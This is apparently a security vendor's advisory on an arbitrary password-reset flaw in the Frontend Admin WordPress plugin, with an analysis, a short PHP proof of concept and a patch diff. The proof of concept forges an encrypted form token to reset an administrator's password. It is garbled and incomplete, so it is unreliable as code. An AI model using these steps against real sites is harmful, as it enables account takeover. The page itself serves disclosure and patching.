Published : August 11, 2026

CVE-2026-15606: Frontend Admin by DynamiApps <= 3.29.9 Authenticated (Subscriber+) Arbitrary Password Reset via Encrypted Object Token PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 3.29.9
Patched Version 3.29.10
Disclosed August 10, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-15606:nnThis vulnerability allows an authenticated attacker with subscriber-level access to reset the password of any user, including administrators, leading to full account takeover and site compromise. The root cause is improper authorization verification in the Frontend Admin by DynamiApps plugin, versions up to and including 3.29.9. The vulnerability involves the user-password field class and the user form action, where the plugin does not verify that the current user has the ‘edit_user’ capability before performing an update to a user account.nnRoot Cause: The vulnerable code resides in `acf-frontend-form-element/main/frontend/fields/user/class-user-password.php`. In the `pre_update_value` function (around lines 142-147), after resolving a user ID from the `$user` array, the plugin directly calls `wp_update_user()` without checking whether the current user can edit that user. The same logic applies in the user form action in `acf-frontend-form-element/main/frontend/forms/actions/user.php` (around lines 433-448), where the code resolves a `$user_id` and attempts to save without verifying edit capability. The flaw is that the plugin relies on the ‘show_form’ and ‘special_permissions’ settings to gate access, but these checks can be bypassed when a valid encrypted token for the target object is supplied, as the encryption is weak and can be exploited via CBC bit-flipping. The `acf_objects` token is decrypted and the resulting user ID is trusted without re-authorization.nnExploitation: An attacker can obtain a valid encrypted token by accessing any Edit User form they are authorized to submit. This token, when manipulated via CBC bit-flipping, can be altered to reference a higher-privileged user (e.g., an administrator). The attacker then submits the form with a crafted `_acf_objects` parameter and a new password value. The plugin decrypts the manipulated token, extracts the target user ID, and calls `wp_update_user()` to set the new password for that user, all without verifying `edit_user` capability. The attack vector is the front-end form submission endpoint (likely an AJAX action or a direct POST to a form page) that handles form submissions, reaching the user action class. The attacker can do this with subscriber-level permissions.nnPatch Analysis: The patch adds multiple authorization checks. In `class-user-password.php`, a check is added: `if ( ! current_user_can( ‘edit_user’, $user_id ) ) { return true; }` which prevents password updates for users the current user cannot edit. In `actions/user.php`, a similar check is added after resolving the user ID: if the user ID is not ‘add_user’ and the current user cannot edit the user, it returns without saving. Additionally, the patch adds checks in the `conditions_logic` function to treat non-numeric user IDs as invalid, and in `submit.php`, a new method `current_user_can_edit_object()` is added to validate that the source of the submitted object token is authorized. The patch in `display.php` sanitizes the `item_id` by using `absint()` for numeric values, preventing type juggling. These changes ensure that even if a valid token is present, the user cannot update a target they lack permission to edit.nnImpact: Successful exploitation allows an authenticated attacker (Subscriber+) to reset the password of any user on the WordPress site, including administrators. This leads to complete account takeover of the target user, and in the case of an administrator, allows the attacker to achieve full site compromise, including arbitrary code execution by installing malicious plugins or themes. The CVSS score is 8.8 (High), reflecting the severe impact and low complexity of the attack.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-15606 – Frontend Admin by DynamiApps <= 3.29.9 – Authenticated (Subscriber+) Arbitrary Password Reset via Encrypted Object Tokennn $subscriber_user,n ‘pwd’ => $subscriber_pass,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’n]);nif (!$login_resp) {n die(‘Login failed’);n}nn// Step 2: Get the form page to obtain a valid encrypted token (this is specific to the plugin’s form rendering).n$form_page = curl_get($target_url . ‘?page_id=PAGE_WITH_EDIT_USER_FORM’);npreg_match(‘/name=”_acf_objects” value=”([^”]+)”/’, $form_page, $matches);nif (empty($matches[1])) {n die(‘Could not extract token from form’);n}n$valid_token = $matches[1];nn// Step 3: Forge the token via bit-flipping to change the user ID in the plaintext.n// The token is a serialized array like: [‘user’ => [‘ID’=>2, …]]n// We flip bits in the ciphertext to change ‘2’ to string representation of $target_user_id.n// This is a simplified demonstration – real bit-flipping requires knowledge of the cipher structure.n$forged_token = craft_forged_token($valid_token, $target_user_id);nn// Step 4: Submit the password change with the forged token.n$submit_resp = curl_post($target_url . ‘/wp-admin/admin-ajax.php’, [n ‘action’ => ‘fea_submit_form’, // The actual AJAX action may vary; adjust if neededn ‘_acf_objects’ => $forged_token,n ‘acf’ => [n ‘field_user_password’ => [‘password’ => $new_password]n ],n ‘_acf_status’ => ‘submit’n], $cookie_jar);nnecho “Password reset attempt completed. Check response for success.”;nn// Helper functionsnecho PHP_EOL;n”,
“modsecurity_rule”: null
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acf-frontend-form-element/acf-frontend.php
+++ b/acf-frontend-form-element/acf-frontend.php
@@ -3,7 +3,7 @@
  * Plugin Name: Frontend Admin
  * Plugin URI:  https://www.dynamiapps.com/frontend-admin/
  * Description: This awesome plugin allows you to easily display admin forms to the frontend of your site so your clients can easily edit content on their own from the frontend.
- * Version:     3.29.9
+ * Version:     3.29.10
  * Author:      Shabti Kaplan
  * Author URI:  https://www.dynamiapps.com/
  * Text Domain: frontend-admin
--- a/acf-frontend-form-element/main/elementor/widgets/general/submit-button.php
+++ b/acf-frontend-form-element/main/elementor/widgets/general/submit-button.php
@@ -190,8 +190,9 @@
 				'label'        => __( 'Submit Type', 'frontend-admin' ),
 				'type'         => Controls_Manager::SELECT,
 				'options'      => array(
-					'submit' => __( 'Submit', 'frontend-admin' ),
-					'save'   => __( 'Save Progress', 'frontend-admin' ),
+					'submit'  => __( 'Submit', 'frontend-admin' ),
+					'save'    => __( 'Save Progress', 'frontend-admin' ),
+					'preview' => __( 'Preview', 'frontend-admin' ),
 				),
 				'default'      => 'submit',
 			)
--- a/acf-frontend-form-element/main/frontend/fields/general/class-preview-button.php
+++ b/acf-frontend-form-element/main/frontend/fields/general/class-preview-button.php
@@ -0,0 +1,114 @@
+<?php
+namespace Frontend_AdminField_Types;
+
+if ( ! class_exists( 'preview_button' ) ) :
+
+	class preview_button extends Field_Base {
+
+
+
+		/*
+		*  __construct
+		*
+		*  This function will setup the field type data
+		*
+		*  @type    function
+		*  @date    5/03/2014
+		*  @since    5.0.0
+		*
+		*  @param    n/a
+		*  @return    n/a
+		*/
+
+		function initialize() {
+			// vars
+			$this->name     = 'preview_button';
+			$this->label    = __( 'Preview Button', 'frontend-admin' );
+			$this->category = __( 'Form', 'frontend-admin' );
+			$this->defaults = array(
+				'button_text'      => __( 'Preview', 'frontend-admin' ),
+				'field_label_hide' => 1,
+			);
+
+		}
+
+
+		/*
+		*  render_field()
+		*
+		*  Create the HTML interface for your field
+		*
+		*  @param    $field - an array holding all the field's data
+		*
+		*  @type    action
+		*  @since    3.6
+		*  @date    23/01/13
+		*/
+
+		function render_field( $field ) {
+			// vars
+			$m = '<button type="button" class="fea-submit-button button button-primary" data-state="preview">' . $field['button_text'] . '</button>';
+
+			// wptexturize (improves "quotes")
+			$m = wptexturize( $m );
+
+			echo wp_kses_post( $m );
+		}
+
+
+		/*
+		*  load_field()
+		*
+		*  This filter is appied to the $field after it is loaded from the database
+		*
+		*  @type    filter
+		*  @since    3.6
+		*  @date    23/01/13
+		*
+		*  @param    $field - the field array holding all the field options
+		*
+		*  @return    $field - the field array holding all the field options
+		*/
+		function load_field( $field ) {
+			 // remove name to avoid caching issue
+			$field['name'] = '';
+
+			// remove instructions
+			$field['instructions'] = '';
+
+			// remove required to avoid JS issues
+			$field['required'] = 0;
+
+			// set value other than 'null' to avoid ACF loading / caching issue
+			$field['value'] = false;
+
+			$field['field_label_hide'] = 1;
+
+			if ( empty( $field['button_text'] ) ) {
+				$field['button_text'] = $field['label'];
+			}
+
+			// return
+			return $field;
+		}
+
+		function render_field_settings( $field ) {
+			acf_render_field_setting(
+				$field,
+				array(
+					'label' => __( 'Button Text', 'frontend-admin' ),
+					'type'  => 'text',
+					'name'  => 'button_text',
+					'class' => 'update-label',
+				)
+			);
+		}
+
+	}
+
+
+
+
+endif; // class_exists check
+
+
--- a/acf-frontend-form-element/main/frontend/fields/post/class-post-status.php
+++ b/acf-frontend-form-element/main/frontend/fields/post/class-post-status.php
@@ -32,7 +32,12 @@
 		function pre_update_value( $checked, $value, $post_id, $field ) {
 			if( $this->name !== $field['type'] ){
 				return $checked;
-			}if ( $post_id && is_numeric( $post_id ) ) {
+			}
+			if ( ! empty( $GLOBALS['admin_form']['is_preview'] ) ) {
+				// previews must stay drafts - don't let a status field publish the post
+				return true;
+			}
+			if ( $post_id && is_numeric( $post_id ) ) {
 				$post_to_edit                = array(
 					'ID' => $post_id,
 				);
--- a/acf-frontend-form-element/main/frontend/fields/user/class-user-password.php
+++ b/acf-frontend-form-element/main/frontend/fields/user/class-user-password.php
@@ -142,6 +142,11 @@

 			if ( ! empty( $user[1] ) ) {
 				$user_id = $user[1];
+
+				if ( ! current_user_can( 'edit_user', $user_id ) ) {
+					return true;
+				}
+
 				remove_action( 'acf/save_post', '_acf_do_save_post' );
 				wp_update_user(
 					array(
--- a/acf-frontend-form-element/main/frontend/forms/actions/post.php
+++ b/acf-frontend-form-element/main/frontend/forms/actions/post.php
@@ -1085,8 +1085,22 @@
 				}
 			}

+			if ( ! empty( $form['is_preview'] ) ) {
+				// a preview may never publish: ignore any submitted status field
+				unset( $post_to_edit['post_status'] );
+				if ( empty( $old_status ) || in_array( $old_status, array( 'auto-draft', 'draft' ), true ) ) {
+					$record['status'] = 'draft';
+				}
+			}
+
+			$was_preview_draft = false;
+			if ( empty( $form['is_preview'] ) && is_numeric( $post_id ) && get_post_meta( $post_id, '_fea_preview_draft', true ) ) {
+				$was_preview_draft = true;
+				delete_post_meta( $post_id, '_fea_preview_draft' );
+			}
+
 			if ( empty( $post_to_edit['post_status'] ) ) {
-
+
 				if ( isset( $record['status'] ) && $record['status'] == 'draft' ) {
 					$post_to_edit['post_status'] = 'draft';
 				} else {
@@ -1096,9 +1110,12 @@
 						$post_to_edit['post_status'] = $status;
 					} elseif ( empty( $old_status ) || $old_status == 'auto-draft' ) {
 						$post_to_edit['post_status'] = 'publish';
+					} elseif ( $was_preview_draft && 'draft' == $old_status ) {
+						// draft only existed because of a preview - treat like a new post
+						$post_to_edit['post_status'] = 'publish';
 					}
 				}
-
+
 			}

 			$form = $this->save_post( $form, $post_to_edit, $metas, $post_to_duplicate );
@@ -1210,10 +1227,18 @@


 			if ( ! current_user_can( 'edit_post', $post_id ) ) {
-				if( ! in_array( 'edit_posts', $condition['special_permissions'] ) ){
+				if ( ! empty( fea_instance()->form_preview ) && fea_instance()->form_preview->is_own_preview_draft( $post_id, $settings ) ) {
+					return $settings;
+				}
+				// map_meta_cap requires the post type's blanket edit_posts capability even
+				// for editing one's own post; roles with no native content capabilities
+				// (e.g. WooCommerce Customer) still own the post they authored, so allow
+				// that case without requiring the broader "Edit Other's Posts" permission.
+				$is_author = get_post_field( 'post_author', $post_id ) == $user->ID;
+				if ( ! $is_author && ! in_array( 'edit_posts', $condition['special_permissions'] ) ){
 					$settings['post_id'] = 'none';
 				}
-			}
+			}

 			return $settings;
 		}
--- a/acf-frontend-form-element/main/frontend/forms/actions/user.php
+++ b/acf-frontend-form-element/main/frontend/forms/actions/user.php
@@ -433,6 +433,16 @@
 			// allow for custom save
 			$user_id = apply_filters( 'acf/pre_save_user', $user_id, $form );

+			// 'add_user' is the only legitimate non-numeric target (new user creation);
+			// anything else must resolve to a real user id the current requester can edit,
+			// independent of the show_form/special_permissions gating that ran earlier.
+			if ( 'add_user' !== $user_id ) {
+				if ( ! is_numeric( $user_id ) || ! current_user_can( 'edit_user', (int) $user_id ) ) {
+					return $form;
+				}
+				$user_id = (int) $user_id;
+			}
+
 			$username_generated = false;
 			$user_to_insert     = array();
 			$metas              = array();
@@ -677,7 +687,14 @@
 		public function conditions_logic( $settings, $condition, $user ){
 			$user_id = $settings['user_id'] ?? 'none';

+			// 'none' and 'add_user' are the only legitimate non-numeric states;
+			// anything else is unexpected input and must not bypass the capability check below.
+			if ( in_array( $user_id, array( 'none', 'add_user' ), true ) ) {
+				return $settings;
+			}
+
 			if( ! is_numeric( $user_id ) ){
+				$settings['user_id'] = 'none';
 				return $settings;
 			}

--- a/acf-frontend-form-element/main/frontend/forms/classes/display.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/display.php
@@ -1650,14 +1650,17 @@
 			}

 			if ( $request['item_id'] ) {
-				$type                  = $request['type'];
-				$form[ $type . '_id' ] = $request['item_id'];
-				if ( $form[ $type . '_id' ] ) {
-					if ( is_numeric( $form[ $type . '_id' ] ) ) {
-						$form[ 'save_to_' . $type ] = 'edit_' . $type;
-					} else {
-						$form[ 'save_to_' . $type ] = 'new_' . $type;
-					}
+				$type = $request['type'];
+
+				// only trust item_id as an object id when it's actually numeric; a non-numeric
+				// value (or garbage crafted to look like one, e.g. "1one") must not be stored
+				// as-is, since downstream code loosely casts ids and would coerce it to an
+				// unintended integer id instead of triggering the "new" flow.
+				if ( is_numeric( $request['item_id'] ) ) {
+					$form[ $type . '_id' ]      = absint( $request['item_id'] );
+					$form[ 'save_to_' . $type ] = 'edit_' . $type;
+				} else {
+					$form[ 'save_to_' . $type ] = 'new_' . $type;
 				}

 				if( $field && 'post' == $type ){
--- a/acf-frontend-form-element/main/frontend/forms/classes/permissions.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/permissions.php
@@ -231,20 +231,19 @@

 			if( empty( $condition['special_permissions'] ) || ! is_array( $condition['special_permissions'] ) ){
 				$condition['special_permissions'] = [];
-			}
-
-			$settings = apply_filters( 'frontend_admin/special_permissions', $settings, $condition, $active_user );
+			}
+
+			if ( $settings['display'] ) {
+				$settings = apply_filters( 'frontend_admin/special_permissions', $settings, $condition, $active_user );
+				$settings['special_permissions'] = $condition['special_permissions'];
+				return $settings;
+			}

 			if ( $condition['not_allowed'] == 'show_message' ) {
 				$settings['message'] = '<div class="acf-notice -limit frontend-admin-limit-message"><p>' . esc_html( $condition['not_allowed_message'] ) . '</p></div>';
 			} elseif ( $condition['not_allowed'] == 'custom_content' ) {
 				$settings['message'] = wp_kses_post( $condition['not_allowed_content'] );
 			}
-
-			if ( $settings['display'] ) {
-				$settings['special_permissions'] = $condition['special_permissions'];
-				break;
-			}
 		}

 		if ( empty( $settings['display'] ) ) {
--- a/acf-frontend-form-element/main/frontend/forms/classes/preview.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/preview.php
@@ -0,0 +1,120 @@
+<?php
+namespace Frontend_AdminClasses;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+if ( ! class_exists( 'Frontend_AdminClassesForm_Preview' ) ) :
+
+	class Form_Preview {
+
+		/**
+		 * How long a preview link stays valid, in seconds.
+		 *
+		 * @var int
+		 */
+		public $expiration = HOUR_IN_SECONDS;
+
+		public function get_token( $post_id, $expiry ) {
+			return hash_hmac( 'sha256', 'fea_preview|' . absint( $post_id ) . '|' . absint( $expiry ), wp_salt( 'auth' ) );
+		}
+
+		/**
+		 * Build a signed, expiring URL that lets anyone (including guests)
+		 * view an unpublished post in the theme template.
+		 *
+		 * @param int $post_id The draft/pending post to preview.
+		 * @return string
+		 */
+		public function get_preview_url( $post_id ) {
+			$expiry = time() + apply_filters( 'frontend_admin/form/preview_expiration', $this->expiration );
+
+			$args = array(
+				'p'            => $post_id,
+				'preview'      => 'true',
+				'_fea_preview' => $this->get_token( $post_id, $expiry ),
+				'_fea_exp'     => $expiry,
+			);
+
+			$post_type = get_post_type( $post_id );
+			if ( 'page' === $post_type ) {
+				unset( $args['p'] );
+				$args['page_id'] = $post_id;
+			} elseif ( 'post' !== $post_type ) {
+				$args['post_type'] = $post_type;
+			}
+
+			$url = add_query_arg( $args, home_url( '/' ) );
+
+			return apply_filters( 'frontend_admin/form/submission_preview', $url, $GLOBALS['admin_form'] ?? array() );
+		}
+
+		/**
+		 * Whether the current visitor may keep editing an unpublished draft that
+		 * only exists because they previewed this form - covers guests and users
+		 * without the edit_post capability. The post id can only reach the form
+		 * through the encrypted _acf_objects blob minted by return_preview().
+		 *
+		 * @param int   $post_id
+		 * @param array $form
+		 * @return bool
+		 */
+		public function is_own_preview_draft( $post_id, $form ) {
+			if ( empty( $form['id'] ) ) {
+				return false;
+			}
+			if ( get_post_meta( $post_id, '_fea_preview_draft', true ) != $form['id'] ) {
+				return false;
+			}
+			if ( ! in_array( get_post_status( $post_id ), array( 'draft', 'pending' ), true ) ) {
+				return false;
+			}
+			return (int) get_post_field( 'post_author', $post_id ) === (int) get_current_user_id();
+		}
+
+		/**
+		 * Let a request carrying a valid preview token view an unpublished post.
+		 *
+		 * Runs before WP_Query's singular status/404 check, so flipping the
+		 * in-memory status to publish is enough — no capability grant, no DB write.
+		 *
+		 * @param array     $posts
+		 * @param WP_Query $query
+		 * @return array
+		 */
+		public function show_draft( $posts, $query ) {
+			if ( empty( $_GET['_fea_preview'] ) || empty( $_GET['_fea_exp'] ) ) {
+				return $posts;
+			}
+			if ( ! $query->is_main_query() || ! $query->is_singular() || count( $posts ) !== 1 ) {
+				return $posts;
+			}
+
+			$post   = $posts[0];
+			$expiry = absint( $_GET['_fea_exp'] );
+
+			if ( time() > $expiry ) {
+				return $posts;
+			}
+			if ( ! in_array( $post->post_status, array( 'draft', 'pending' ), true ) ) {
+				return $posts;
+			}
+			if ( ! hash_equals( $this->get_token( $post->ID, $expiry ), (string) $_GET['_fea_preview'] ) ) {
+				return $posts;
+			}
+
+			$post->post_status = 'publish';
+			nocache_headers();
+
+			return $posts;
+		}
+
+		public function __construct() {
+			add_filter( 'posts_results', array( $this, 'show_draft' ), 10, 2 );
+		}
+	}
+
+	fea_instance()->form_preview = new Form_Preview();
+
+endif;
--- a/acf-frontend-form-element/main/frontend/forms/classes/submit.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/submit.php
@@ -35,6 +35,10 @@
 				foreach ( $_post as $source => $fields ) {
 					$source = fea_decrypt( $source );

+					if ( ! $this->current_user_can_edit_object( $source ) ) {
+						continue;
+					}
+
 					foreach ( $fields as $key => $value ) {
 						$field = $fea_instance->frontend->get_field( $key );
 						if( ! $field ) continue;
@@ -87,6 +91,36 @@
 			wp_send_json_success( $json );
 		}

+		/**
+		 * Checks whether the current user may edit the object a decrypted
+		 * inline-update source resolves to. The source string comes from a
+		 * client-supplied token, so it must be re-authorized here rather than
+		 * trusted as-is.
+		 */
+		public function current_user_can_edit_object( $source ) {
+			if ( empty( $source ) ) {
+				return false;
+			}
+
+			if ( is_numeric( $source ) ) {
+				return current_user_can( 'edit_post', $source );
+			}
+
+			if ( ! is_string( $source ) ) {
+				return false;
+			}
+
+			if ( 0 === strpos( $source, 'user_' ) ) {
+				return current_user_can( 'edit_user', substr( $source, 5 ) );
+			}
+
+			if ( 0 === strpos( $source, 'term_' ) ) {
+				return current_user_can( 'edit_term', substr( $source, 5 ) );
+			}
+
+			return false;
+		}
+

 		public function check_submit_form() {

@@ -112,11 +146,20 @@
 			}


+			// permissions.php echoes a not-allowed message as a side effect when denying
+			// access; buffer and discard it here so it can't leak raw HTML in front of
+			// the JSON response body below and break the front-end's JSON.parse().
+			ob_start();
 			$form = apply_filters( 'frontend_admin/show_form', $form );
+			ob_end_clean();
 			if( empty( $form['display'] ) ) {
 				wp_send_json_error( __( 'You do not have permission to submit this form.', 'frontend-admin' ) );
 			}
-
+
+			$form['is_preview'] = isset( $_POST['_acf_status'] ) && 'preview' == $_POST['_acf_status'];
+
+			error_log( '[FEA_PREVIEW_DEBUG] check_submit_form: _acf_status=' . ( $_POST['_acf_status'] ?? '<unset>' ) . ' is_preview=' . var_export( $form['is_preview'], true ) . ' form_id=' . $form['id'] );
+
 			// submit
 			$this->submit_form( $form );

@@ -387,6 +430,14 @@
 			$form['submission_status'] = 'approved';

 			$form = $this->should_save_content( $form );
+
+			error_log( '[FEA_PREVIEW_DEBUG] submit_form: is_preview=' . var_export( ! empty( $form['is_preview'] ), true ) . ' save_data=' . var_export( $form['save_data'] ?? null, true ) . ' save_to_post=' . ( $form['save_to_post'] ?? '<unset>' ) . ' post_id=' . var_export( $form['post_id'] ?? null, true ) );
+
+			if ( ! empty( $form['is_preview'] ) ) {
+				$form = $this->prepare_preview( $form );
+				error_log( '[FEA_PREVIEW_DEBUG] after prepare_preview: record.status=' . var_export( $form['record']['status'] ?? null, true ) . ' new_post_status=' . var_export( $form['new_post_status'] ?? null, true ) . ' new_product_status=' . var_export( $form['new_product_status'] ?? null, true ) );
+			}
+
 			foreach ( $fea_instance->local_actions as $name => $action ) {
 				if ( $name != 'options' && isset( $form[ "{$name}_id" ] ) ) {
 						$form['record'][ $name ] = $form[ "{$name}_id" ];
@@ -397,12 +448,118 @@
 			}

 			$fea_form = $form;
-
+
+			error_log( '[FEA_PREVIEW_DEBUG] after local actions: record=' . wp_json_encode( $form['record'] ?? null ) );
+
 			$form = $this->run_actions( $form );

 			$this->return_form( $form );
 		}

+		/**
+		 * Field group key each local action actually checks before writing - mirrors the
+		 * bail conditions in ActionPost::run() / ActionProduct::run() / etc. A type's
+		 * save_to_$type/{$type}_id can be non-empty (e.g. "current_post" defaulting to
+		 * whatever page hosts the form) even though the submission never touches it.
+		 */
+		public function preview_active_types( $form ) {
+			$fields_key = array(
+				'post'    => 'post',
+				'user'    => 'user',
+				'term'    => 'term',
+				'product' => 'woo_product',
+			);
+			$active = array();
+			foreach ( $fields_key as $type => $key ) {
+				if ( ! empty( $form['record']['fields'][ $key ] ) ) {
+					$active[] = $type;
+				}
+			}
+			return $active;
+		}
+
+		public function prepare_preview( $form ) {
+			$active_types = $this->preview_active_types( $form );
+			foreach ( array( 'post', 'product' ) as $type ) {
+				if ( ! in_array( $type, $active_types, true ) ) {
+					continue;
+				}
+				$save_to = $form[ "save_to_$type" ] ?? '';
+				if ( ! $save_to && empty( $form[ "{$type}_id" ] ) ) {
+					continue;
+				}
+				if ( "duplicate_$type" == $save_to ) {
+					// duplicating creates a new object; the (possibly published) source is untouched
+					$form['record']['status'] = 'draft';
+					continue;
+				}
+				// key off the resolved target id, not save_to: a form rehydrated from
+				// _acf_objects keeps save_to "new_*" while the id is already numeric
+				$target = $form[ "{$type}_id" ] ?? '';
+				if ( ! is_numeric( $target ) && ! empty( $form['record'][ $type ] ) ) {
+					$target = $form['record'][ $type ];
+				}
+				if ( is_numeric( $target ) ) {
+					if ( 'publish' == get_post_status( $target ) ) {
+						wp_send_json_error( __( 'Preview is only available for unpublished content.', 'frontend-admin' ) );
+					}
+					// keep the current draft/pending status instead of applying the form's configured status
+					$form[ "new_{$type}_status" ] = 'no_change';
+				} else {
+					$form['record']['status'] = 'draft';
+				}
+			}
+			return $form;
+		}
+
+		public function return_preview( $form ) {
+			global $fea_instance;
+
+			$active_types = $this->preview_active_types( $form );
+
+			$preview_id = false;
+			foreach ( array( 'product', 'post' ) as $type ) {
+				if ( in_array( $type, $active_types, true ) && ! empty( $form['record'][ $type ] ) && is_numeric( $form['record'][ $type ] ) ) {
+					$preview_id = $form['record'][ $type ];
+					break;
+				}
+			}
+
+			error_log( '[FEA_PREVIEW_DEBUG] return_preview: preview_id=' . var_export( $preview_id, true ) . ' active_types=' . implode( ',', $active_types ) . ' record=' . wp_json_encode( $form['record'] ?? null ) );
+
+			if ( ! $preview_id ) {
+				wp_send_json_error( __( 'Nothing to preview.', 'frontend-admin' ) );
+			}
+
+			$objects = array();
+			foreach ( array( 'post', 'user', 'term', 'product' ) as $type ) {
+				if ( in_array( $type, $active_types, true ) && ! empty( $form['record'][ $type ] ) && is_numeric( $form['record'][ $type ] ) ) {
+					if ( in_array( $type, array( 'post', 'product' ), true ) && "edit_$type" != ( $form[ "save_to_$type" ] ?? '' ) ) {
+						// remember this draft only exists because of a preview, so the
+						// real submit can still apply the form's new-object status logic
+						update_post_meta( $form['record'][ $type ], '_fea_preview_draft', $form['id'] );
+					}
+					$form[ $type . '_id' ]   = $form['record'][ $type ];
+					$form[ "save_to_$type" ] = "edit_$type";
+					$objects[ $type ]        = $form['record'][ $type ];
+				}
+			}
+			if ( ! empty( $form['submission'] ) ) {
+				$objects['submission'] = $form['submission'];
+			}
+
+			$response = array(
+				'location'     => 'current',
+				'form_element' => $form['id'],
+				'objects'      => fea_encrypt( json_encode( $objects ) ),
+				'preview'      => $fea_instance->form_preview->get_preview_url( $preview_id ),
+			);
+
+			do_action( 'frontend_admin/form/after_preview', $form, $response );
+
+			wp_send_json_success( $response );
+		}
+
 		public function run_actions( $form ) {
 			global $fea_instance;
 			$run_actions = apply_filters( 'frontend_admin/form/run_actions', true, $form );
@@ -423,7 +580,7 @@

 			if ( ! empty( $remote_actions ) ) {

-				if ( empty( $form['approval'] ) ) {
+				if ( empty( $form['approval'] ) && empty( $form['is_preview'] ) ) {
 					if ( ! empty( $form['submit_actions'] ) ) {
 						foreach ( $remote_actions as $name => $action ) {
 							$action->run( $form );
@@ -480,6 +637,10 @@

 			$form = apply_filters( 'frontend_admin/form/return', $form );

+			if ( ! empty( $form['is_preview'] ) ) {
+				$this->return_preview( $form );
+			}
+
 			if( ! empty( $_POST['redirect'] ) ){
 				$form['redirect'] = $_POST['redirect'];
 			}
--- a/acf-frontend-form-element/main/frontend/module.php
+++ b/acf-frontend-form-element/main/frontend/module.php
@@ -477,11 +477,11 @@
 					$basic_settings = array( 'name', 'instructions', 'required', 'wrapper', 'frontend_admin_display_mode', 'field_label_hide', 'only_front' );
 					foreach( $basic_settings as $setting ){
 						$setting = $setting;
-						echo ".acf-field-object-form-step .acf-field-setting-{$setting}, .acf-field-object-submit-button .acf-field-setting-{$setting}, .acf-field-object-save-progress .acf-field-setting-{$setting}, .acf-field-object-fields-select .acf-field-setting-{$setting}{display:none}";
+						echo ".acf-field-object-form-step .acf-field-setting-{$setting}, .acf-field-object-submit-button .acf-field-setting-{$setting}, .acf-field-object-save-progress .acf-field-setting-{$setting}, .acf-field-object-preview-button .acf-field-setting-{$setting}, .acf-field-object-fields-select .acf-field-setting-{$setting}{display:none}";
 						echo ".acf-field-object-form-step .acf-field-setting-{$setting}, .acf-field-object-save-progress .acf-field-setting-{$setting}, .acf-field-object-fields-select .acf-field-setting-{$setting}{display:none}";
 					}
-					echo '.acf-field-object-form-step .acf-field-setting-custom_fields_save, .acf-field-object-submit-button .acf-field-setting-custom_fields_save, .acf-field-object-save-progress .acf-field-setting-custom_fields_save{display:none}';
-					echo '.acf-field-object-form-step[data-step="1"] .acf-field-setting-prev_button_text,.acf-field-object-form-step .acf-field-setting-name,.acf-field-object-submit-button .acf-field-setting-label,.acf-field-object-save-progress .acf-field-setting-label,.acf-field-object-delete-post .acf-field-setting-label,.acf-field-object-delete-term .acf-field-setting-label,.acf-field-object-delete-user .acf-field-setting-label,.acf-field-object-delete-product .acf-field-setting-label,.acf-field-object-custom-terms .acf-field-setting-ui{display:none}';
+					echo '.acf-field-object-form-step .acf-field-setting-custom_fields_save, .acf-field-object-submit-button .acf-field-setting-custom_fields_save, .acf-field-object-save-progress .acf-field-setting-custom_fields_save, .acf-field-object-preview-button .acf-field-setting-custom_fields_save{display:none}';
+					echo '.acf-field-object-form-step[data-step="1"] .acf-field-setting-prev_button_text,.acf-field-object-form-step .acf-field-setting-name,.acf-field-object-submit-button .acf-field-setting-label,.acf-field-object-save-progress .acf-field-setting-label,.acf-field-object-preview-button .acf-field-setting-label,.acf-field-object-delete-post .acf-field-setting-label,.acf-field-object-delete-term .acf-field-setting-label,.acf-field-object-delete-user .acf-field-setting-label,.acf-field-object-delete-product .acf-field-setting-label,.acf-field-object-custom-terms .acf-field-setting-ui{display:none}';

 					echo '</style>';
 				}
@@ -516,6 +516,7 @@
 					'related-items',
 					'submit-button',
 					'save-progress',
+					'preview-button',
 					'time',
 					'date',
 					'color',
@@ -645,6 +646,7 @@
 			include_once __DIR__ . '/forms/classes/limit-submit.php';

 			include_once __DIR__ . '/forms/classes/permissions.php';
+			include_once __DIR__ . '/forms/classes/preview.php';
 			include_once __DIR__ . '/forms/classes/shortcodes.php';
 			include_once __DIR__ . '/forms/actions/action-base.php';

--- a/acf-frontend-form-element/main/plugin.php
+++ b/acf-frontend-form-element/main/plugin.php
@@ -45,6 +45,7 @@
 		public $form_display = null;
 		public $form_actions = null;
 		public $form_validate = null;
+		public $form_preview = null;

 		//form actions
 		public $local_actions = array();
@@ -103,7 +104,7 @@
 			define( 'FEA_URL', $data['plugin_url'] );
 			define( 'FEA_DIR', $data['plugin_dir'] );
 			define( 'FEA_PLUGIN', $data['plugin'] );
-			define( 'FEA_VERSION', '3.29.9' );
+			define( 'FEA_VERSION', '3.29.10' );
 			do_action( 'front_end_admin_loaded' );

 			// Add tutorial videos to plugin item on plugins page

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.